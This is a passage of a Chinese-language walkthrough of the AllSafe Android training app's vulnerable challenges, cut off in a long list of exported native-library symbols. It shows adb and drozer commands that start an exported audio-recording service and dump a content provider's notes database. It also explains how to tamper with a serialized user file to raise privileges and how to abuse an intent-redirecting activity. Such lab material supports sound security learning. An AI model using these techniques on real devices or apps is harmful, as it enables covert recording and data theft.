        } catch (InvalidKeyException | NoSuchAlgorithmException | BadPaddingException | IllegalBlockSizeException | NoSuchPaddingException e) {
            e.printStackTrace();
            return null;
        }
    }

    public static String md5Hash(String text) {
        StringBuilder stringBuilder = new StringBuilder();
        try {
            MessageDigest digest = MessageDigest.getInstance(&quot;MD5&quot;);
            digest.update(text.getBytes());
            byte[] messageDigest = digest.digest();
            stringBuilder.append(String.format(&quot;%032X&quot;, new BigInteger(1, messageDigest)));
        } catch (Exception e) {
            Log.d(&quot;ALLSAFE&quot;, e.getLocalizedMessage());
        }
        return stringBuilder.toString();
    }

&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;&amp;lt;font style=&quot;color:rgb(36, 36, 36);&quot;&amp;gt;Insecure Service不安全的服务&amp;lt;/font&amp;gt;&lt;/h1&gt;
&lt;p&gt;主要原因就是，状态是可导出的，这意味着可以直接从终端调用它，而无需通过用户界面。这意味着任何恶意应用程序都可以利用此行为调用该服务并录制受害者的音频。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-35.png&quot; alt=&quot;Figure 35&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用drozer都能扫到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(.venv) PS E:\android\drozer&amp;gt; drozer console connect
Selecting 636b8e9b5dcaa8b2 (BlackShark SHARK PAR-A0 9)

            ..                    ..:.
           ..o..                  .r..
            ..a..  . ....... .  ..nd
              ro..idsnemesisand..pr
              .otectorandroidsneme.
           .,sisandprotectorandroids+.
         ..nemesisandprotectorandroidsn:.
        .emesisandprotectorandroidsnemes..
      ..isandp,..,rotecyayandro,..,idsnem.
      .isisandp..rotectorandroid..snemisis.
      ,andprotectorandroidsnemisisandprotec.
     .torandroidsnemesisandprotectorandroid.
     .snemisisandprotectorandroidsnemesisan:
     .dprotectorandroidsnemesisandprotector.

drozer Console (v3.1.0)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;dz&amp;gt; run app.package.attacksurface infosecadventures.allsafe
Attempting to run shell module
Attack Surface:
  3 activities exported
  2 broadcast receivers exported
  1 content providers exported
  1 services exported
    is debuggable
dz&amp;gt; run app.service.info -a infosecadventures.allsafe
Attempting to run shell module
Package: infosecadventures.allsafe
  infosecadventures.allsafe.challenges.RecorderService
    Permission: null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;外部访问就行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\35159&amp;gt; adb shell am startservice infosecadventures.allsafe/.challenges.RecorderService
Starting service: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=infosecadventures.allsafe/.challenges.RecorderService }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：FILE://STORAGE/EMULATED/DOWNLOAD/ALLSAFE_REC-20260403-160800743.MP3 --&amp;gt;
&lt;img src=&quot;./images/img-36.png&quot; alt=&quot;Figure 36&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&amp;lt;font style=&quot;color:rgb(36, 36, 36);&quot;&amp;gt;Object Serialization对象序列化&amp;lt;/font&amp;gt;&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;该应用会创建一个包含 username 、 password 和 role User 对象。此对象使用 ObjectOutputStream 进行序列化，并以 user.dat 的名称保存在外部应用存储中，具体位置为 /sdcard/Android/data/infosecadventures.allsafe/files/ 。序列化允许将对象的状态写入文件，以便稍后检索。每个 User 对象都有一个 role 字段。默认情况下，该字段设置为 &quot;ROLE_AUTHOR&quot; 。如果用户的角色为 &quot;ROLE_EDITOR&quot; ，则授予其访问特定功能的权限；否则，拒绝访问。&lt;/p&gt;
&lt;p&gt;可利用的点就在这里， 他应用&lt;strong&gt;信任磁盘上的序列化数据，我们可以修改文件的role字段，从而绕过限制&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;文件存放在&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：SDCARD/ANDROID/DATA/INFOSECADVENTURES.ALLSAFE/FILES/ 文件夹:0 文件:2 储存:2.23G/49.32G USER.DAT 26-04-03 16:21 175B --&amp;gt;
&lt;img src=&quot;./images/img-37.png&quot; alt=&quot;Figure 37&quot; /&gt;&lt;/p&gt;
&lt;p&gt;源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package infosecadventures.allsafe.challenges;

import android.os.Bundle;
import android.text.Editable;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.Toast;
import androidx.fragment.app.Fragment;
import com.google.android.material.textfield.TextInputEditText;
import infosecadventures.allsafe.R;
import infosecadventures.allsafe.utils.SnackUtil;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Objects;

/* JADX INFO: loaded from: classes4.dex */
public class ObjectSerialization extends Fragment {
    @Override // androidx.fragment.app.Fragment
    public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
        View view = inflater.inflate(R.layout.fragment_object_serialization, container, false);
        final TextInputEditText username = (TextInputEditText) view.findViewById(R.id.username);
        final TextInputEditText password = (TextInputEditText) view.findViewById(R.id.password);
        Button save = (Button) view.findViewById(R.id.save);
        Button load = (Button) view.findViewById(R.id.load);
        final String path = requireActivity().getExternalFilesDir(null) + &quot;/user.dat&quot;;
        save.setOnClickListener(new View.OnClickListener() { // from class: infosecadventures.allsafe.challenges.ObjectSerialization$$ExternalSyntheticLambda0
            @Override // android.view.View.OnClickListener
            public final void onClick(View view2) {
                this.f$0.lambda$onCreateView$0(username, password, path, view2);
            }
        });
        load.setOnClickListener(new View.OnClickListener() { // from class: infosecadventures.allsafe.challenges.ObjectSerialization$$ExternalSyntheticLambda1
            @Override // android.view.View.OnClickListener
            public final void onClick(View view2) {
                this.f$0.lambda$onCreateView$1(path, view2);
            }
        });
        return view;
    }

    /* JADX INFO: Access modifiers changed from: private */
    public /* synthetic */ void lambda$onCreateView$0(TextInputEditText username, TextInputEditText password, String path, View v) {
        if (!((Editable) Objects.requireNonNull(username.getText())).toString().isEmpty() &amp;amp;&amp;amp; !((Editable) Objects.requireNonNull(password.getText())).toString().isEmpty()) {
            User user = new User(username.getText().toString(), password.getText().toString());
            try {
                File file = new File(path);
                FileOutputStream fos = new FileOutputStream(file);
                ObjectOutputStream oos = new ObjectOutputStream(fos);
                oos.writeObject(user);
                oos.close();
                fos.close();
            } catch (IOException e) {
                Log.d(&quot;ALLSAFE&quot;, e.getLocalizedMessage());
            }
            SnackUtil.INSTANCE.simpleMessage(requireActivity(), &quot;User data successfully saved!&quot;);
            return;
        }
        SnackUtil.INSTANCE.simpleMessage(requireActivity(), &quot;Fill out the fields!&quot;);
    }

    /* JADX INFO: Access modifiers changed from: private */
    public /* synthetic */ void lambda$onCreateView$1(String path, View v) {
        if (new File(path).exists()) {
            try {
                File file = new File(path);
                FileInputStream fis = new FileInputStream(file);
                ObjectInputStream ois = new ObjectInputStream(fis);
                User user = (User) ois.readObject();
                ois.close();
                fis.close();
                if (!user.role.equals(&quot;ROLE_EDITOR&quot;)) {
                    SnackUtil.INSTANCE.simpleMessage(requireActivity(), &quot;Sorry, only editors have access!&quot;);
                } else {
                    SnackUtil.INSTANCE.simpleMessage(requireActivity(), &quot;Good job!&quot;);
                    Toast.makeText(requireContext(), user.toString(), 0).show();
                }
                return;
            } catch (IOException | ClassNotFoundException e) {
                Log.d(&quot;ALLSAFE&quot;, e.getLocalizedMessage());
                return;
            }
        }
        SnackUtil.INSTANCE.simpleMessage(requireActivity(), &quot;File not found!&quot;);
    }

    public static class User implements Serializable {
        String password;
        String role = &quot;ROLE_AUTHOR&quot;;
        String username;

        public User() {
        }

        public User(String username, String password) {
            this.username = username;
            this.password = password;
        }

        public String toString() {
            return &quot;User{username=&apos;&quot; + this.username + &quot;&apos;, password=&apos;&quot; + this.password + &quot;&apos;, role=&apos;&quot; + this.role + &quot;&apos;}&quot;;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打开文件&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：1:151 USER.DAT /ME @ @ DASSWORDTILLAVA/LANG/STRING/STRING/L USERNAMEQ~XPT 123456T 123456T ROLE AUTHORT WEIXIAO SR-INFOSECADVENTURES.ALLSAFE.CHALLENGES.OBJECTSERIALIZATION$USER --&amp;gt;
&lt;img src=&quot;./images/img-38.png&quot; alt=&quot;Figure 38&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接修改保存&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：1:164 UTF-8 *USER.DAT --&amp;gt;
&lt;img src=&quot;./images/img-39.png&quot; alt=&quot;Figure 39&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这就意味着我们有了更高的权限&lt;/p&gt;
&lt;h1&gt;&amp;lt;font style=&quot;color:rgb(36, 36, 36);&quot;&amp;gt;Insecure Providers不安全的提供商&amp;lt;/font&amp;gt;&lt;/h1&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：INSECURE PROVIDERS [HARD] EXPLOIT INSECURE CONTENT PROVIDERS [CHALLENGE 17] EXPLOIT PROVIDER MISSION BRIEFING WE GOT A REPORT THAT OUR NOTES DATABASE LEA ASE LEAKED THROUGH AN INS TEAM SAID IT&apos;S EASY N INSECURE CONTENT PROVIDER. FORTUNATELY, THE DEV AN TO SECURE ANDROID INTER PROCESS COMMUNICATION. THE APP APP A E WITH OTHER APPS... PP ALSO PROVIDES ACCESS TO SOME FILES WHICH WE SHARE WIL E FILE LEAK. CAN YOU CHECK IF THE IMPLEMENTATION IS GOO 5 GOOD ENOUGH? ALLSAFE CAN&apos;T AFFORD ANOTHER SENSITIVE --&amp;gt;
&lt;img src=&quot;./images/img-40.png&quot; alt=&quot;Figure 40&quot; /&gt;挑战中提到我们有两个不安全的内容提供商，第一个是数据库提供商，第二个是文件提供商&lt;/p&gt;
&lt;p&gt;但我们用drozer扫的时候只有一个是可导出状态，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dz&amp;gt; run app.package.attacksurface infosecadventures.allsafe
Attempting to run shell module
Attack Surface:
  3 activities exported
  2 broadcast receivers exported
  1 content providers exported
  1 services exported
    is debuggable
dz&amp;gt; run app.service.info -a infosecadventures.allsafe
Attempting to run shell module
Package: infosecadventures.allsafe
  infosecadventures.allsafe.challenges.RecorderService
    Permission: null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们去AndroidMainfest.xml文件看看，那个是可导出，呢个不可导出&lt;/p&gt;
&lt;p&gt;我们可以看到数据提供商是可导出的，文件提供商是不可导出的&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：&amp;lt;PROVIDER ANDROID:NAME:&quot;INFOSECADVENTURES.ALLSAFE.CHALLENGES.DATAPROVIDEN&quot; ANDROID:ENABLEDTRUE&quot; ANDROID:EXPORTED&quot;TRUE&quot; ANDROID:AUTHORITIES-&quot;INFOSECADVENTURES.ALLSAFE.DATAPROVIDER&quot;/&amp;gt; &amp;lt;PROVIDER ANDROID:NAME:&quot;ANDROIDX.CORE.CONTENT.FILEPROVIDER&quot; ANDROID:EXPORTED&quot;FALSE&quot; ANDROID:AUTHORITIES-&quot;INFOSECADVENTURES.ALLSAFE.FILEPROVIDER&quot; ANDROID:GRANTURIPERMISSIONS&quot;TRVE&quot;&amp;gt; &amp;lt;META-DATA ANDROID:NAME-&quot;ANDROID.SUPPORT.FILE.PROVIDER PATHS&quot; ANDROID:RESOURCE&quot;@XML/PROVIDER_PATHS&quot;/&amp;gt; --&amp;gt;
&lt;img src=&quot;./images/img-41.png&quot; alt=&quot;Figure 41&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们先利用数据的可导出性，看看有啥东西&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\35159&amp;gt; adb shell content query --uri &quot;content://infosecadventures.allsafe.dataprovider&quot;
Row: 0 id=1, user=admin, note=I can not believe that Jill is still using 123456 as her password...
Row: 1 id=2, user=elliot.alderson, note=A bug is never just a mistake. It represents something bigger. An error of thinking. That makes you who you are.
Row: 2 id=3, user=darlene.alderson, note=That’s the trick about money. Banks care more about it than anything else.
Row: 3 id=4, user=gideon.goddard, note=You’re never sure about anything unless there’s something to be sure about.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;虽然文件没有导出，但FileProvider 的 grantUriPermissions=&quot;true&quot; 这意味着 AllSafe 应用中的其他组件 （例如已导出的 Activity）可以使用 Intent 和已授权的 URI 与该提供程序进行交互。&lt;/p&gt;
&lt;p&gt;通常是通过 Intent 中的 FLAG_GRANT_READ_URI_PERMISSION 或 FLAG_GRANT_WRITE_URI_PERMISSION 标志。但是，要实现这一点，应用必须显式地共享一个 URI。&lt;/p&gt;
&lt;p&gt;如果 AllSafe 应用中存在导出的活动、服务或广播接收器，可以接受指向 FileProvider 管理的文件的 URI 的 Intents ，那么我们就可以滥用此机制来读取或写入应该受到限制的文件。&lt;/p&gt;
&lt;p&gt;要有效利用 FileProvider ，你需要弄清楚通过 URI 共享的文件的真实路径 。Android 的 FileProvider 不会直接暴露完整的文件路径；相反，它使用 URI 映射到某些预定义目录中的文件。&lt;/p&gt;
&lt;p&gt;在他下面可以看到xml文件的名字&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：SMETA-DATA ANDROID:NAME-&quot;ANDROID.SUPPORT.FILE_PROVIDER_PATHS&quot; ANDROID:RESOURCE&quot;@XML/PROVIDER_PATHS&quot;/&amp;gt; --&amp;gt;
&lt;img src=&quot;./images/img-42.png&quot; alt=&quot;Figure 42&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接去找&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：&amp;lt;?XML VERSION:&quot;1.0&quot; ENCODING:&quot;UTF-8&quot;?&amp;gt; &amp;amp;PATHS&amp;gt; &amp;lt;FILES-PATH NAME&quot;FILES&quot; PATH &amp;lt;/PATHS&amp;gt; --&amp;gt;
&lt;img src=&quot;./images/img-43.png&quot; alt=&quot;Figure 43&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;files-path&amp;gt; 元素表明 FileProvider 已配置为公开应用程序内部存储 files/ 目录下的文件。具体来说， path=&quot;.&quot; 表示应用程序内部 files/ 目录中的所有文件都可能通过 FileProvider 访问。&lt;/p&gt;
&lt;p&gt;files-path 指的是应用程序的内部存储位置 /data/data/infosecadventures.allsafe/files/&lt;/p&gt;
&lt;p&gt;由于 path=&quot;.&quot; ，因此可以访问该目录中的所有文件&lt;/p&gt;
&lt;p&gt;现在，是时候在 AllSafe 应用中寻找其他组件 （如导出的活动），以便使用 Intent 和授权 URI 与提供商进行交互。&lt;/p&gt;
&lt;p&gt;看作者的wp发现有一个名为 ProxyActivity 导出活动，它将 intent 作为额外的参数传递。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：JADX INFO:LOADEDFROM:CLASSESSES5.DEX */ PUBLIC CLASS PROXYACTIVITY EXTENDS APPCOMPATACTIVITY ( IL  ONDRETER  RRINT  RRAYMORTEETS  ENTEETS, ONTS  ETIVETIVETIVITEETIVITEETIVITEETS, ETIVITE    ETIVIT @OVERRIDE // AN PROTECTED VOID ONCREATE(BUNDLE SAVEDINSTANCESTATE) { SUPER.ONCREATE(SAVEDINSTANCESTATE); STARTACTIVITY((INTENT) GETINTENT().GETPARCELABLEEXTRA(&quot;EXTRA.INTENT&apos;); --&amp;gt;
&lt;img src=&quot;./images/img-44.png&quot; alt=&quot;Figure 44&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由于该活动会被导出，且似乎并未验证额外信息的意图或来源， 因此攻击者可能利用此漏洞触发任意活动 ，例如启动一个带有恶意意图的活动。这意味着任何包含名为 &quot;extra_intent&quot; 的额外信息的意图都可能导致 ProxyActivity 启动另一个活动，而 &quot;extra_intent&quot; 的内容可能由攻击者控制。&lt;/p&gt;
&lt;h1&gt;&amp;lt;font style=&quot;color:rgb(36, 36, 36);&quot;&amp;gt;Native Library  &amp;lt;/font&amp;gt;&lt;/h1&gt;
&lt;p&gt;本地so库在native层&lt;/p&gt;
&lt;p&gt;在frida交互界面&lt;/p&gt;
&lt;p&gt;位置在&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Android Emulator 5554::Allsafe ]-&amp;gt; Process.findModuleByName(&quot;libnative_library.so&quot;)
{
    &quot;base&quot;: &quot;0x763879583000&quot;,
    &quot;name&quot;: &quot;libnative_library.so&quot;,
    &quot;path&quot;: &quot;/data/app/infosecadventures.allsafe-CW6W470gPQ-sX6s2-BUJPA==/lib/x86_64/libnative_library.so&quot;,
    &quot;size&quot;: 311296,
    &quot;version&quot;: null
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;导出的函数有&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Android Emulator 5554::Allsafe ]-&amp;gt; m.enumerateExports().map(e =&amp;gt; e.name)
[
    &quot;_ZN7_JNIEnv24ReleaseByteArrayElementsEP11_jbyteArrayPai&quot;,
    &quot;_ZTSPw&quot;,
    &quot;_ZdaPvmSt11align_val_t&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE5rfindEcm&quot;,
    &quot;_ZNSt6__ndk14stodERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPm&quot;,
    &quot;_ZTSPx&quot;,
    &quot;__cxa_throw&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE4nposE&quot;,
    &quot;_ZTSPy&quot;,
    &quot;_ZNSt10bad_typeidD0Ev&quot;,
    &quot;_ZNSt6__ndk111char_traitsIcE6lengthEPKc&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6assignERKS5_mm&quot;,
    &quot;__cxa_deleted_virtual&quot;,
    &quot;_ZNSt11logic_errorD0Ev&quot;,
    &quot;_ZTISt13runtime_error&quot;,
    &quot;_ZNSt6__ndk111char_traitsIwE4moveEPwPKwm&quot;,
    &quot;_ZNSt6__ndk14stolERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPmi&quot;,
    &quot;_ZNSt9exceptionD2Ev&quot;,
    &quot;__cxa_unexpected_handler&quot;,
    &quot;_ZNSt9bad_allocD2Ev&quot;,
    &quot;_ZNSt11range_errorD2Ev&quot;,
    &quot;_ZNSt12out_of_rangeD2Ev&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE12find_last_ofEPKcmm&quot;,
    &quot;_ZNSt9type_infoD2Ev&quot;,
    &quot;_ZNSt12domain_errorD0Ev&quot;,
    &quot;_ZNSt16invalid_argumentD2Ev&quot;,
    &quot;_ZNSt20bad_array_new_lengthD2Ev&quot;,
    &quot;_ZTISt9exception&quot;,
    &quot;_ZTIPa&quot;,
    &quot;_Z14jstring2stringP7_JNIEnvP8_jstring&quot;,
    &quot;_ZNSt6__ndk14stoiERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPmi&quot;,
    &quot;_ZTIPb&quot;,
    &quot;_ZTIDh&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEaSERKS5_&quot;,
    &quot;_ZTIPc&quot;,
    &quot;_ZTIDi&quot;,
    &quot;_ZNKSt8bad_cast4whatEv&quot;,
    &quot;_ZN7_JNIEnv14DeleteLocalRefEP8_jobject&quot;,
    &quot;_ZNSt13runtime_errorC2ERKS_&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE4copyEPcmm&quot;,
    &quot;__cxa_rethrow&quot;,
    &quot;_ZTIPd&quot;,
    &quot;_ZTVN10__cxxabiv129__pointer_to_member_type_infoE&quot;,
    &quot;_ZN7_JNIEnv16CallObjectMethodEP8_jobjectP10_jmethodIDz&quot;,
    &quot;_ZNSt11logic_errorC1ERKNSt6__ndk112basic_stringIcNS0_11char_traitsIcEENS0_9allocatorIcEEEE&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6insertEmPKc&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE4findEwm&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE7compareEmmPKwm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE4nposE&quot;,
    &quot;_ZTVSt13runtime_error&quot;,
    &quot;_ZSt17__throw_bad_allocv&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7compareEmmRKS5_mm&quot;,
    &quot;_ZTSN10__cxxabiv120__function_type_infoE&quot;,
    &quot;_ZTIPf&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEED2Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE9__grow_byEmmmmmm&quot;,
    &quot;_ZTIPg&quot;,
    &quot;_ZN7_JNIEnv14GetObjectClassEP8_jobject&quot;,
    &quot;_ZTIN10__cxxabiv120__function_type_infoE&quot;,
    &quot;_ZTIDn&quot;,
    &quot;_ZTIPh&quot;,
    &quot;_ZTIPKa&quot;,
    &quot;_ZTSSt8bad_cast&quot;,
    &quot;_ZN7_JNIEnv11GetMethodIDEP7_jclassPKcS3_&quot;,
    &quot;_ZNSt13runtime_erroraSERKS_&quot;,
    &quot;__cxa_free_exception&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6insertEmPKw&quot;,
    &quot;_ZNSt6__ndk15stoulERKNS_12basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEEPmi&quot;,
    &quot;_ZSt14get_unexpectedv&quot;,
    &quot;_ZTIPKb&quot;,
    &quot;_ZTIPi&quot;,
    &quot;_ZNKSt20bad_array_new_length4whatEv&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7replaceEmmRKS5_mm&quot;,
    &quot;_ZTIPKc&quot;,
    &quot;_ZTIPj&quot;,
    &quot;_ZNSt8bad_castD2Ev&quot;,
    &quot;_ZTIPKd&quot;,
    &quot;_ZNSt11logic_errorC1EPKc&quot;,
    &quot;_ZTIPl&quot;,
    &quot;_ZdaPvm&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6__initEmc&quot;,
    &quot;_ZTIPm&quot;,
    &quot;_ZTIPKf&quot;,
    &quot;_ZTIDs&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE5rfindEwm&quot;,
    &quot;_ZSt15get_new_handlerv&quot;,
    &quot;__cxa_demangle&quot;,
    &quot;_ZTIPn&quot;,
    &quot;_ZTIPKg&quot;,
    &quot;_ZTSSt15underflow_error&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6appendERKS5_mm&quot;,
    &quot;__cxa_call_unexpected&quot;,
    &quot;_ZTIPKh&quot;,
    &quot;_ZTIPo&quot;,
    &quot;_ZTIDu&quot;,
    &quot;_ZTIPKi&quot;,
    &quot;_Znam&quot;,
    &quot;_ZSt13set_terminatePFvvE&quot;,
    &quot;_ZSt15set_new_handlerPFvvE&quot;,
    &quot;_ZTIPKj&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE21__grow_by_and_replaceEmmmmmmPKw&quot;,
    &quot;_ZTVSt16invalid_argument&quot;,
    &quot;_ZTIN10__cxxabiv119__pointer_type_infoE&quot;,
    &quot;_ZTIa&quot;,
    &quot;_ZTIPs&quot;,
    &quot;_ZTIPKl&quot;,
    &quot;__cxa_begin_catch&quot;,
    &quot;_ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE17find_first_not_ofEPKcmm&quot;,
    &quot;_ZTSN10__cxxabiv116__shim_type_infoE&quot;,
    &quot;_ZTIb&quot;,
    &quot;_ZTIPt&quot;,
    &quot;_ZTIPKm&quot;,
    &quot;_ZTVSt9bad_alloc&quot;,
    &quot;_Z18hardcoreEncryptionP7_JNIEnvP8_jstring&quot;,
    &quot;_ZNSt9bad_allocC1Ev&quot;,
    &quot;_ZTIc&quot;,
    &quot;_ZTIPKn&quot;,
    &quot;_ZNSt14overflow_errorD2Ev&quot;,
    &quot;_ZNSt12length_errorD1Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE5eraseEmm&quot;,
    &quot;_ZTIPv&quot;,
    &quot;_ZTIPKo&quot;,
    &quot;_ZTId&quot;,
    &quot;_ZNSt13bad_exceptionD2Ev&quot;,
    &quot;_ZNSt13runtime_errorC2EPKc&quot;,
    &quot;_ZNSt6__ndk1plIcNS_11char_traitsIcEENS_9allocatorIcEEEENS_12basic_stringIT_T0_T1_EEPKS6_RKS9_&quot;,
    &quot;_ZTVSt12out_of_range&quot;,
    &quot;_ZTIPw&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2IDnEEPKc&quot;,
    &quot;_ZdaPvSt11align_val_tRKSt9nothrow_t&quot;,
    &quot;_ZNSt6__ndk110to_wstringEd&quot;,
    &quot;_ZTIPx&quot;,
    &quot;_ZTIf&quot;,
    &quot;_ZNSt20bad_array_new_lengthC1Ev&quot;,
    &quot;__gxx_personality_v0&quot;,
    &quot;_ZTIPy&quot;,
    &quot;_ZTIg&quot;,
    &quot;_ZNSt11logic_errorC2ERKS_&quot;,
    &quot;_ZNSt13runtime_errorC2ERKNSt6__ndk112basic_stringIcNS0_11char_traitsIcEENS0_9allocatorIcEEEE&quot;,
    &quot;_ZNSt6__ndk110to_wstringEf&quot;,
    &quot;__cxa_uncaught_exception&quot;,
    &quot;_ZTIh&quot;,
    &quot;_ZTIPKs&quot;,
    &quot;_ZTSSt13bad_exception&quot;,
    &quot;_ZTVSt11range_error&quot;,
    &quot;_ZNSt15underflow_errorD2Ev&quot;,
    &quot;_ZTVSt9type_info&quot;,
    &quot;_ZdlPvmSt11align_val_t&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE9__grow_byEmmmmmm&quot;,
    &quot;_ZNSt6__ndk110to_wstringEg&quot;,
    &quot;_ZTIPKt&quot;,
    &quot;_ZTIi&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEEaSEw&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE5eraseEmm&quot;,
    &quot;_ZTIj&quot;,
    &quot;_ZNSt6__ndk15stoldERKNS_12basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEEPm&quot;,
    &quot;_ZNSt6__ndk110to_wstringEi&quot;,
    &quot;_ZTIPKv&quot;,
    &quot;_ZNSt9exceptionD0Ev&quot;,
    &quot;_ZNSt9bad_allocD0Ev&quot;,
    &quot;_ZNSt11range_errorD0Ev&quot;,
    &quot;_ZNSt13runtime_errorD1Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED1Ev&quot;,
    &quot;_ZdaPv&quot;,
    &quot;_ZNSt6__ndk110to_wstringEj&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC1ERKS5_mmRKS4_&quot;,
    &quot;_ZTIPKw&quot;,
    &quot;_ZTIl&quot;,
    &quot;_ZNSt12out_of_rangeD0Ev&quot;,
    &quot;_ZNSt11logic_erroraSERKS_&quot;,
    &quot;_ZTIm&quot;,
    &quot;_ZTIPKx&quot;,
    &quot;_ZNSt16invalid_argumentD0Ev&quot;,
    &quot;_ZTSSt14overflow_error&quot;,
    &quot;_ZNSt9type_infoD0Ev&quot;,
    &quot;_ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6assignEPKc&quot;,
    &quot;_ZNSt6__ndk110to_wstringEl&quot;,
    &quot;__cxa_get_globals&quot;,
    &quot;_ZTVN10__cxxabiv119__pointer_type_infoE&quot;,
    &quot;_ZTIPKy&quot;,
    &quot;_ZTIn&quot;,
    &quot;_ZNSt20bad_array_new_lengthD0Ev&quot;,
    &quot;_ZNKSt10bad_typeid4whatEv&quot;,
    &quot;_ZNSt6__ndk112basic_stringIwNS_11char_traitsIwEENS_9allocatorIwEEE6appendEPKw&quot;,
    &quot;_ZNSt6__ndk110to_wstringEm&quot;,
    &quot;_ZTIo&quot;,
    &quot;_ZTVN10__cxxabiv121__vmi_class_type_infoE&quot;,
    &quot;_ZTSSt9exception&quot;,
